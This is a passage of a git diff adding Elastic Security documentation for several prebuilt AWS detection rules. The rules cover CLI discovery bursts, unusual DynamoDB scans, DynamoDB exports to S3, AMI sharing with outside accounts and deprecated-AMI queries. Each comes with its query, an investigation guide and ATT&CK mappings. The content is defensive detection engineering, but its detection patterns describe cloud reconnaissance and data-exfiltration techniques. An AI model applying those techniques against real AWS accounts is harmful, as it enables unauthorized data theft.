Esql.last_seen_suspicious_asn >= NOW() - 1 hour + +| KEEP user.name, aws.cloudtrail.user_identity.access_key_id, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc new file mode 100644 index 0000000000..ac446d28f3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc @@ -0,0 +1,246 @@ +[[prebuilt-rule-8-19-21-aws-discovery-api-calls-via-cli-from-a-single-resource]] +=== AWS Discovery API Calls via CLI from a Single Resource + +Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS EC2 +* Data Source: AWS IAM +* Data Source: AWS S3 +* Data Source: AWS Cloudtrail +* Data Source: AWS RDS +* Data Source: AWS Lambda +* Data Source: AWS STS +* Data Source: AWS KMS +* Data Source: AWS SES +* Data Source: AWS Cloudfront +* Data Source: AWS DynamoDB +* Data Source: AWS Elastic Load Balancing +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Discovery API Calls via CLI from a Single Resource* + + +This rule detects when a single AWS identity executes more than five unique discovery-related API calls (`Describe*`, `List*`, `Get*`, or `Generate*`) within a 10-second window using the AWS CLI. +High volumes of diverse “read-only” API calls in such a short period can indicate scripted reconnaissance, often an early phase of compromise after credential exposure or access to a compromised EC2 instance. + + +*Possible Investigation Steps* + + +**Identify the actor and session context** +- **Actor ARN (`aws.cloudtrail.user_identity.arn`)**: Determine which IAM user, role, or service principal performed the actions. + - Check whether this identity normally performs enumeration activity or belongs to automation infrastructure. +- **Identity type (`Esql.aws_cloudtrail_user_identity_arn_type`)**: Validate if the caller is a human IAM user, assumed role, or federated identity. Unusual types (e.g., temporary credentials from an unfamiliar role) may indicate lateral movement. +- **Access key (`Esql.aws_cloudtrail_user_identity_access_key_id_values`)** – Identify which specific access key or temporary credential was used. + - If multiple suspicious keys are found, use AWS IAM console or `aws iam list-access-keys` to determine when they were last used or rotated. +- **Account (`Esql.cloud_account_id_values`)** – Confirm which AWS account was affected and whether it matches the intended operational context (e.g., production vs. sandbox). + +**Assess the API call pattern and intent** +- **Distinct action count (`Esql.event_action_count_distinct`)**: Note how many unique API calls occurred within each 10-second window. Counts far above normal operational baselines may indicate scripted reconnaissance. +- **API actions (`Esql.event_action_values`)**: Review which discovery APIs were invoked. + - Focus on services such as EC2 (`DescribeInstances`), IAM (`ListRoles`, `ListAccessKeys`), S3 (`ListBuckets`), and KMS (`ListKeys`), which adversaries frequently query to map assets. +- **Service providers (`Esql.event_provider_values`)**: Identify which AWS services were targeted. + - Multi-service enumeration (IAM + EC2 + S3) suggests broad discovery rather than a specific diagnostic task. +- **Time window (`Esql.time_window_date_trunc`)**: Verify whether activity occurred during normal maintenance windows or outside expected hours. + +**Analyze the source and origin** +- **Source IP (`Esql.source_ip_values`)**: Check the originating IPs to determine whether the calls came from a known internal host, an EC2 instance, or an unfamiliar external network. + - Compare with known corporate CIDR ranges, VPC flow logs, or guardrail baselines. +- **Source organization (`Esql.source_as_organization_name_values`)**: Review the associated ASN or organization. + - If the ASN belongs to a commercial ISP or VPN service, investigate possible credential compromise or remote attacker usage. + +**Correlate with additional events** +- Search CloudTrail for the same `aws.cloudtrail.user_identity.arn` or `aws_cloudtrail_user_identity_access_key_id_values` within ±30 minutes. + - Look for follow-on actions such as `GetCallerIdentity`, `AssumeRole`, `CreateAccessKey`, or data access (`GetObject`, `CopySnapshot`). + - Correlate this enumeration with authentication anomalies or privilege-related findings. +- Cross-reference `Esql.cloud_account_id_values` with other alerts for lateral or privilege escalation patterns. + + +*False positive analysis* + + +Legitimate, high-frequency API activity may originate from: +- **Inventory or compliance automation**: Scripts or tools such as AWS Config, Cloud Custodian, or custom CMDB collection performing periodic Describe/List calls. +- **Operational monitoring systems**: DevOps pipelines, Terraform, or deployment verifiers enumerating resources. +- **Security tooling**: Security scanners performing asset discovery across services. + +Validate by confirming: +- Whether the `aws.cloudtrail.user_identity.arn` corresponds to a documented automation or monitoring identity. +- That the observed `Esql.event_action_values` match known inventory or cost-reporting workflows. +- Timing alignment with approved maintenance schedules. + + +*Response and remediation* + + +If the activity is unexpected or originates from unrecognized credentials, follow AWS’s incident-handling guidance: + +**Contain** +- Temporarily disable or rotate the access key (`Esql.aws_cloudtrail_user_identity_access_key_id_values`) using IAM. +- Restrict outbound connectivity for the instance or resource from which the API calls originated. + +**Investigate** +- Retrieve full CloudTrail logs for the actor and `Esql.time_window_date_trunc` interval. +- Identify any subsequent write or privilege-modification actions. +- Review associated IAM policies for excessive permissions. + +**Recover and Harden** +- Rotate credentials, enforce MFA on human users, and tighten IAM role trust policies. +- Implement AWS Config rules or SCPs to monitor and restrict large-scale enumeration. + +**Post-Incident Actions** +- Document the finding and response in your organization’s IR management system. +- Update detection logic or allow-lists for known benign automation. +- Validate recovery by confirming no new suspicious discovery bursts occur. + + +*Additional information* + + +- **AWS Documentation** + - https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[CloudTrail Event Reference] + - https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.pdf[AWS Security Incident Response Guide] +- **AWS Playbook Resources** + - https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] + - https://github.com/aws-samples/aws-customer-playbook-framework[AWS Customer Playbook Framework] + + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +// create time window buckets of 10 seconds +| eval Esql.time_window_date_trunc = date_trunc(10 seconds, @timestamp) + +| where + data_stream.dataset == "aws.cloudtrail" + // filter on CloudTrail audit logs for IAM, EC2, S3, etc. + and event.provider in ( + "iam.amazonaws.com", + "ec2.amazonaws.com", + "s3.amazonaws.com", + "rds.amazonaws.com", + "lambda.amazonaws.com", + "dynamodb.amazonaws.com", + "kms.amazonaws.com", + "cloudfront.amazonaws.com", + "elasticloadbalancing.amazonaws.com", + "cloudtrail.amazonaws.com", + "sts.amazonaws.com", + "ses.amazonaws.com" + ) + // ignore AWS service actions + and aws.cloudtrail.user_identity.type != "AWSService" + // filter for aws-cli specifically + and user_agent.name == "aws-cli" + // exclude DescribeCapacityReservations events related to AWS Config + and event.action != "DescribeCapacityReservations" + +// filter for Describe, Get, List, and Generate API calls +| where true in ( + starts_with(event.action, "Describe"), + starts_with(event.action, "Get"), + starts_with(event.action, "List"), + starts_with(event.action, "Generate") +) + +// extract owner, identity type, and actor from the ARN +| dissect aws.cloudtrail.user_identity.arn "%{}::%{Esql_priv.aws_cloudtrail_user_identity_arn_owner}:%{Esql.aws_cloudtrail_user_identity_arn_type}/%{Esql.aws_cloudtrail_user_identity_arn_roles}" + +| where starts_with(Esql.aws_cloudtrail_user_identity_arn_roles, "AWSServiceRoleForConfig") != true + +// keep relevant fields (preserving ECS fields and computed time window) +| keep + @timestamp, + Esql.time_window_date_trunc, + event.action, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.ip, + cloud.account.id, + event.provider, + user_agent.name, + source.as.organization.name, + cloud.region, + data_stream.namespace + +// count the number of unique API calls per time window and actor +| stats + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.event_action_values = VALUES(event.action), + Esql.event_timestamp_values = VALUES(@timestamp), + Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.source_ip_values = VALUES(source.ip), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.event_provider_values = VALUES(event.provider), + Esql.user_agent_name_values = VALUES(user_agent.name), + Esql.source_as_organization_name_values = VALUES(source.as.organization.name), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn + +// filter for more than 5 unique API calls per 10s window +| where Esql.event_action_count_distinct > 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-dynamodb-scan-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-dynamodb-scan-by-unusual-user.asciidoc new file mode 100644 index 0000000000..afa409f97f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-dynamodb-scan-by-unusual-user.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-aws-dynamodb-scan-by-unusual-user]] +=== AWS DynamoDB Scan by Unusual User + +Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Scan.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS DynamoDB Scan by Unusual User* + + +This rule identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the subscription. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the Scan request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being scanned. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key is associated with a legitimate user or if it has been compromised. + + + +*False Positive Analysis* + + +- Historical User Actions: If the user has a history of scanning DynamoDB tables for legitimate purposes, this may not be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform scans on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may not be a false positive. + + +*Response and Remediation* + + +- Immediate Review and Reversal: If the Scan action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's account or removing their permissions. +- Investigate Compromise: If the Scan action is determined to be malicious, investigate the source of the request and any potential compromise of the user's account. This may involve reviewing access logs, resetting passwords, and enabling multi-factor authentication (MFA) for the affected user. If export options were used with the CLI or SDK, they may have been saved locally or to a remote location. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Setup + + +DynamoDB data events must be enabled in CloudTrail to capture the Scan action. Ensure that the AWS CloudTrail service is configured to log data events for DynamoDB tables. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "Scan" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-dynamodb-table-exported-to-s3.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-dynamodb-table-exported-to-s3.asciidoc new file mode 100644 index 0000000000..065fada7e0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-dynamodb-table-exported-to-s3.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-aws-dynamodb-table-exported-to-s3]] +=== AWS DynamoDB Table Exported to S3 + +Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_ExportTableToPointInTime.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + + +*Investigating AWS DynamoDB Table Exported to S3* + + +This rule identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. + +This is a New Terms rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the export. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key has been compromised. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the ExportTableToPointInTime request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being exported. + + +*False Positive Analysis* + +- Historical User Actions: If the user has a history of exporting DynamoDB tables for legitimate purposes, this may be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform exports on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may be a false positive. + + +*Response and Remediation* + +- Immediate Review and Reversal: If the ExportTableToPointInTime action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's access keys or removing their permissions. +- Investigate Compromise: If the ExportTableToPointInTime action is determined to be malicious, investigate the source and destination of the request and any potential compromise of the user's account. If the destination S3 bucket is not known, it may be a sign of data exfiltration and may require incident response. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "ExportTableToPointInTime" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ami-shared-with-another-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ami-shared-with-another-account.asciidoc new file mode 100644 index 0000000000..fa65da9438 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ami-shared-with-another-account.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-21-aws-ec2-ami-shared-with-another-account]] +=== AWS EC2 AMI Shared with Another Account + +Identifies an AWS Amazon Machine Image (AMI) being shared with another AWS account. Adversaries with access may share an AMI with an external AWS account as a means of data exfiltration. AMIs can contain secrets, bash histories, code artifacts, and other sensitive data that adversaries may abuse if shared with unauthorized accounts. AMIs can be made publicly available accidentally as well. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ami/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 AMI Shared with Another Account* + + +This rule identifies when an Amazon Machine Image (AMI) is shared with another AWS account. While sharing AMIs is a common practice, adversaries may exploit this feature to exfiltrate data by sharing AMIs with external accounts under their control. + + +*Possible Investigation Steps* + + +- **Review the Sharing Event**: Identify the AMI involved and review the event details in AWS CloudTrail. Look for `ModifyImageAttribute` actions where the AMI attributes were changed to include additional user accounts. + - **Request and Response Parameters**: Check the `aws.cloudtrail.request_parameters` and `aws.response.response_elements` fields in the CloudTrail event to identify the AMI ID and the user ID of the account with which the AMI was shared. +- **Verify the Shared AMI**: Check the AMI that was shared and its contents to determine the sensitivity of the data stored within it. +- **Contextualize with Recent Changes**: Compare this sharing event against recent changes in AMI configurations and deployments. Look for any other recent permissions changes or unusual administrative actions. +- **Validate External Account**: Examine the AWS account to which the AMI was shared. Determine whether this account is known and previously authorized to access such resources. +- **Interview Relevant Personnel**: If the share was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing AMI deployments. +- **Audit Related Security Policies**: Check the security policies governing AMI sharing within your organization to ensure they are being followed and are adequate to prevent unauthorized sharing. + + +*False Positive Analysis* + + +- **Legitimate Sharing Practices**: AMI sharing is a common and legitimate practice for collaboration and resource management in AWS. Always verify that the sharing activity was unauthorized before escalating. +- **Automation Tools**: Some organizations use automation tools for AMI management which might programmatically share AMIs. Verify if such tools are in operation and whether their actions are responsible for the observed behavior. +- **AWS Services**: Some AWS services, such as WorkSpaces and Backup, automate AMI sharing when users configure cross-account sharing or disaster recovery plans. These will appear in CloudTrail with `userIdentity.invokedBy` and `source.address` fields like `workspaces.amazonaws.com` or `backup.amazonaws.com`. Confirm that such activity aligns with your organization's approved configurations. + + +*Response and Remediation* + + +- **Review and Revoke Unauthorized Shares**: If the share is found to be unauthorized, immediately revoke the shared permissions from the AMI. +- **Enhance Monitoring of Shared AMIs**: Implement monitoring to track changes to shared AMIs and alert on unauthorized access patterns. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. +- **Policy Update**: Review and possibly update your organization’s policies on AMI sharing to tighten control and prevent unauthorized access. +- **Educate Users**: Conduct training sessions for users involved in managing AMIs to reinforce best practices and organizational policies regarding AMI sharing. + + +*Additional Information* + + +For more information on managing and sharing AMIs, refer to the https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html[Amazon EC2 User Guide on AMIs] and https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/sharingamis-explicit.html[Sharing AMIs]. Additionally, explore adversarial techniques related to data exfiltration via AMI sharing as documented by Stratus Red Team https://stratus-red-team.cloud/attack-techniques/AWS/aws.exfiltration.ec2-share-ami/[here]. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and event.provider: "ec2.amazonaws.com" + and event.action: ModifyImageAttribute and event.outcome: success + and aws.cloudtrail.request_parameters: *add=* + and not aws.cloudtrail.user_identity.invoked_by: "assets.marketplace.amazonaws.com" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-deprecated-ami-discovery.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-deprecated-ami-discovery.asciidoc new file mode 100644 index 0000000000..58a01d183d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-deprecated-ami-discovery.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-21-aws-ec2-deprecated-ami-discovery]] +=== AWS EC2 Deprecated AMI Discovery + +Identifies when a user has queried for deprecated Amazon Machine Images (AMIs) in AWS. This may indicate an adversary looking for outdated AMIs that may be vulnerable to exploitation. While deprecated AMIs are not inherently malicious or indicative of a breach, they may be more susceptible to vulnerabilities and should be investigated for potential security risks. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS EC2 +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Discovery + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Deprecated AMI Discovery* + + +This rule detects when a user queries AWS for deprecated Amazon Machine Images (AMIs). While deprecated AMIs are not inherently malicious, their use can introduce vulnerabilities or misconfigurations. Adversaries may exploit deprecated AMIs in search of outdated or unpatched systems. Investigating these queries can help identify potential risks or misconfigurations. + + +*Possible investigation steps* + + +**Identify the user**: + - Review the `aws.cloudtrail.user_identity.arn` field to determine the AWS user or role making the request. + - Check `aws.cloudtrail.user_identity.type` and `aws.cloudtrail.user_identity.access_key_id` to verify the type of access (e.g., IAM user, role, or federated identity). + +**Analyze the source**: + - Review the `source.ip` field to determine the IP address of the source making the request. + - Check `source.geo` for the geographic location of the IP address. + - Analyze the `user_agent.original` field to determine the client or tool used (e.g., AWS CLI, SDK). + +**Validate the query context**: + - Inspect the `aws.cloudtrail.request_parameters` field + - Determine if the request is part of legitimate activity, such as: + - Security assessments or vulnerability scans. + - Maintenance or testing of legacy systems. + - Check if the query aligns with recent changes in the AWS environment, such as new configurations or services. + +**Correlate with other events**: + - Investigate additional AWS API calls from the same user or IP address for signs of reconnaissance or exploitation. + - Review logs for related actions, such as launching instances from deprecated AMIs (`RunInstances` API call). + +**Assess security risks**: + - Evaluate the use of deprecated AMIs within your environment and their associated vulnerabilities. + - Ensure that deprecated AMIs are not being used in production environments or systems exposed to external threats. + + +*False positive analysis* + + +- Users may query for deprecated AMIs for testing or compatibility purposes. +- Security or compliance tools might query deprecated AMIs as part of regular assessments. +- Legacy systems may rely on deprecated AMIs for compatibility, leading to legitimate queries. + + +*Response and remediation* + + +**Immediate actions**: + - Verify the intent of the user querying for deprecated AMIs. + - Restrict IAM permissions to prevent unauthorized access to deprecated AMIs. + +**Mitigation steps**: + - Identify and replace deprecated AMIs in use with supported and updated AMIs. + - Update AWS IAM policies to minimize permissions for querying or using deprecated AMIs. + +**Enhance monitoring**: + - Enable alerts for future queries involving deprecated AMIs or other unusual API activity. + - Monitor CloudTrail logs for additional reconnaissance or suspicious behavior. + +**Security audits**: + - Conduct a review of all AMIs in use across your environment to identify outdated or deprecated images. + - Remove any deprecated AMIs from production environments and restrict their usage to isolated testing. + +**Add rule exceptions**: + - Create exceptions for legitimate use cases or automated tools that query for deprecated AMIs. + - Document and communicate the exceptions to relevant teams to avoid future alerts. + + +*Additional resources* + + +- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AMIs.html[AWS Documentation: AMI Lifecycle Management] +- https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ami-deprecate.html[AWS Documentation: Deprecated AMIs] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: "DescribeImages" + and event.outcome: "success" + and aws.cloudtrail.flattened.request_parameters.includeDeprecated: "true" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-aws-ec2-ebs-snapshot-access-removed.asciidoc 